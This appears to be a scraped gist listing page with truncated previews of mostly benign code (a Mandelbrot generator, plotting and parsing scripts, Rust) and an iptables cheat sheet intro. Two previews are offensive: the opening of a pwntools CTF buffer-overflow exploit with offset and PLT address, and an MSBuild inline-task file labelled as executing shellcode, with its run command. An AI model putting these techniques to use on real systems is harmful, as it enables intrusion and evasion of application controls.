-
namespaces - overview of Linux namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html
-
mount_namespaces - overview of Linux mount namespaces
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
from scipy import misc | |
import math | |
import time | |
""" | |
MANDLEBROT GENERATOR | |
by Josiah Beverton | |
Many Thanks to: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from numpy import array | |
import numpy as n | |
import pylab | |
def best_fit_line(x,y, color): | |
coefs = n.lib.polyfit(x,y,1) | |
fit_y = n.lib.polyval(coefs, x) | |
pylab.plot(x, fit_y, color) | |
Task4 = {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Infer a movies attributes by extracting data from the movie filename | |
@author: Josiah | |
''' | |
import re, datetime | |
from sys import argv, stdout | |
import logging | |
import os |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extern crate collections; | |
use std::num::from_str_radix; | |
use std::fmt::radix; | |
use std::iter::{range_step}; | |
struct HexMap { | |
data: Vec<Vec<u8>> | |
} | |
impl HexMap { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#https://www.cs.bham.ac.uk/~mdr/teaching/modules04/java2/TilesSolvability.html | |
import re | |
puzzles = [] | |
with open('puzzles.txt') as f_puzzles: | |
r_puzzles = f_puzzles.read() | |
for x in re.finditer("Puzzle for",r_puzzles): | |
puzzle = r_puzzles[x.start():x.start()+132] | |
puzzle = [x[1:-1].split('|') for x in puzzle.split('\n')[1:] if '+' not in x and x != ''] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import struct | |
r = remote('ctf.sharif.edu', 4801) | |
#r = process('./vuln4') | |
first = r.recvuntil('find puts yourself') | |
''' | |
EIP+0 found at offset: 22 | |
''' | |
x = 'A'*22 | |
# ordinal=004 plt=0x080483a0 bind=GLOBAL type=FUNC name=puts |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import re | |
import sys | |
def process_file(procnet): | |
sockets = procnet.split('\n')[1:-1] | |
return [line.strip() for line in sockets] | |
def split_every_n(data, n): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes shellcode. --> | |
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj --> | |
<!-- Save This File And Execute The Above Command --> | |
<!-- Author: Casey Smith, Twitter: @subTee --> | |
<!-- License: BSD 3-Clause --> | |
<Target Name="Hello"> | |
<ClassExample /> | |
</Target> | |
<UsingTask |
IPTables is the Firewall service that is available in a lot of different Linux Distributions. While modifiying it might seem daunting at first, this Cheat Sheet should be able to show you just how easy it is to use and how quickly you can be on your way mucking around with your firewall.
The following list is a great set of documentation for iptables
. I used them to compile this documentation.
- How-To Geek: The Beginner’s Guide to iptables, the Linux Firewall: https://www.howtogeek.com/177621/the-beginners-guide-to-iptables-the-linux-firewall/
- IPTables Essentials: Common Firewall Rules and COmmands https://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands
OlderNewer